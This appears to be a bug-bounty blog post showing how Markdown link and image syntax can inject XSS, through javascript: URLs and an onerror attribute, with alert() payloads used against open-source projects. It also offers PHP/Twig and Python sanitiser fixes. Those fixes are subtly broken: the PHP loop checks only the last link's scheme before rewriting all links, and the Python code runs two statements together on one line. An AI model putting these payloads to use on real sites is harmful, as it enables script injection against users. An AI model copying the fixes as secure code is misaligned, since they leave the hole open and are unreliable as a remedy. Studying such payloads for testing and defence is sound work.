[BugBounty] XSS with Markdown — Exploit & Fix on OpenSource

How to Exploit xss via Markdown

Markown Link element

[title](https://www.example.com)
<a href="https://www.example.com">title</a>

Markown Image element

![alt text](https://www.example.com/image.jpg)
<img src="https://www.example.com/image.jpg" alt="alt text">

Markdown Link element — Payload

[XSS](javascript:alert('xss'))
<a href="javascript:alert('xss')">

Markdown Image element — Payload

![alt text]("onerror="alert('XSS'))
<img src="" onerror="alert('XSS') alt="alt text">

Finding Vulnerabilities on Open Source

![alt text]("onerror="alert('XSS'))
[XSS](javascript:alert('xss'))
[XSS](javascript:alert(`xss`))
[XSS](javascript:alert(document.domain))
![alt text]("onerror="alert('XSS'))
[XSS](javascript:alert('xss'))
[XSS](javascript:alert(`xss`))
[XSS](javascript:alert(document.domain))

How to fixes

<div class="direct-chat-text">
{{ comment.message|replace(replacer)|md2html }}
</div>
public function getFilters()
{
return [
new TwigFilter('md2html', [MarkdownExtension::class, 'markdownToHtml'], ['pre_escape' => 'html', 'is_safe' => ['html']]),
new TwigFilter('desc2html', [MarkdownExtension::class, 'timesheetContent'], ['pre_escape' => 'html', 'is_safe' => ['html']]),
new TwigFilter('comment2html', [MarkdownExtension::class, 'commentContent'], ['pre_escape' => 'html', 'is_safe' => ['html']]),
new TwigFilter('comment1line', [MarkdownExtension::class, 'commentOneLiner'], ['pre_escape' => 'html', 'is_safe' => ['html']]),
new TwigFilter('colorize', [ThemeExtension::class, 'colorize']),
];
}
public function markdownToHtml(string $content): string
{
return $this->markdown->toHtml($content, false);
}
  • Use regex to identify Link element.
  • Create a set of allowed url schemes.
  • Check $content with regex if true, then check with url scheme.
  • Use replace to make $content safe when rendering.
public function markdownToHtml(string $content): string
{
$ALLOWED_URL_SCHEMES = array("ftp", "ftps", "http", "https", "mailto", "sftp", "ssh", "tel", "telnet", "tftp", "vnc");
$pattern = '/([\[\s\S\]]*?)\(([\s\S]*?):([\s\S]*?)\)/';
# Regex check
preg_match_all($pattern, $content, $matches, PREG_SET_ORDER);
if($matches) {
foreach ($matches as $match) {
// get value of group regex
$scheme = $match[2];
}
// scheme check
if(in_array($scheme, $ALLOWED_URL_SCHEMES)) {
$replacement = '$1($2:$3)';
} else {
$replacement = '$1($3)';
}

$content = preg_replace($pattern, $replacement, $content);
}

return $this->markdown->toHtml($content, false);
}
[title](https://www.example.com)
[title](https://www.example.com)
<a href="https://www.example.com">title</a>
[XSS](javascript:alert('xss'))
[XSS](alert('xss'))
<a href="alert('xss')">XSS</a>
<tr>
<td id="ticket-description" colspan='4'>
<h4>{% trans "Description" %}</h4>
{{ ticket.get_markdown|urlizetrunc:50|num_to_link }}
</td>
</tr>
def get_markdown(text):
if not text:
return ""
return mark_safe(
markdown(
text,
extensions=[
EscapeHtml(), 'markdown.extensions.nl2br',
'markdown.extensions.fenced_code',
]
)
)
ALLOWED_URL_SCHEMES = getattr(settings, 'ALLOWED_URL_SCHEMES', (     'file', 'ftp', 'ftps', 'http', 'https', 'irc', 'mailto', 'sftp', 'ssh', 'tel', 'telnet', 'tftp', 'vnc', 'xmpp',))
def get_markdown(text):
if not text:
return ""
pattern = fr'([\[\s\S\]]*?)\(([\s\S]*?):([\s\S]*?)\)'
# Regex check
if re.match(pattern, text):
# get get value of group regex
scheme = re.search(pattern, text, re.IGNORECASE).group(2)
# scheme check
if scheme in helpdesk_settings.ALLOWED_URL_SCHEMES:
replacement = '\\1(\\2:\\3)'
else:
replacement = '\\1(\\3)'
text = re.sub(pattern, replacement, text, flags=re.IGNORECASE) return mark_safe(
markdown(
text,
extensions=[
EscapeHtml(), 'markdown.extensions.nl2br',
'markdown.extensions.fenced_code',
]
)
)

--

--

--

#IamPhuc #PenetrationTester #OSCP #eCPPT #eMAPT #eWAPT

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

CIO Perspectives with Mark Settle: It’s Time to Invest in a Privacy Tech Stack

[Taklimakan Blog] Austrian COLOP Develops E-Mark Secure on Blockchain

Unsafe Delegatecall (Part #2) | Hack Solidity #5

What is WordPress File Integrity Observing And Why WP Website Needs It?

Securing a perimeter-less Enterprise

Online personal data: what are the threats to our digital identity?

Mr Shamir, Mr Rivest and Mr Adleman walk into a bar with a public key…

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Lê Thành Phúc

Lê Thành Phúc

#IamPhuc #PenetrationTester #OSCP #eCPPT #eMAPT #eWAPT

More from Medium

elasticpwn: how to collect and analyse data from exposed Elasticsearch and Kibana instances

Cross-Origin Resource Sharing (CORS) Misconfiguration leads to User’s PII leaks.

Exploring log4j RCE vulnerability (CVE-2021–44228)

Peeping through a Web-Socket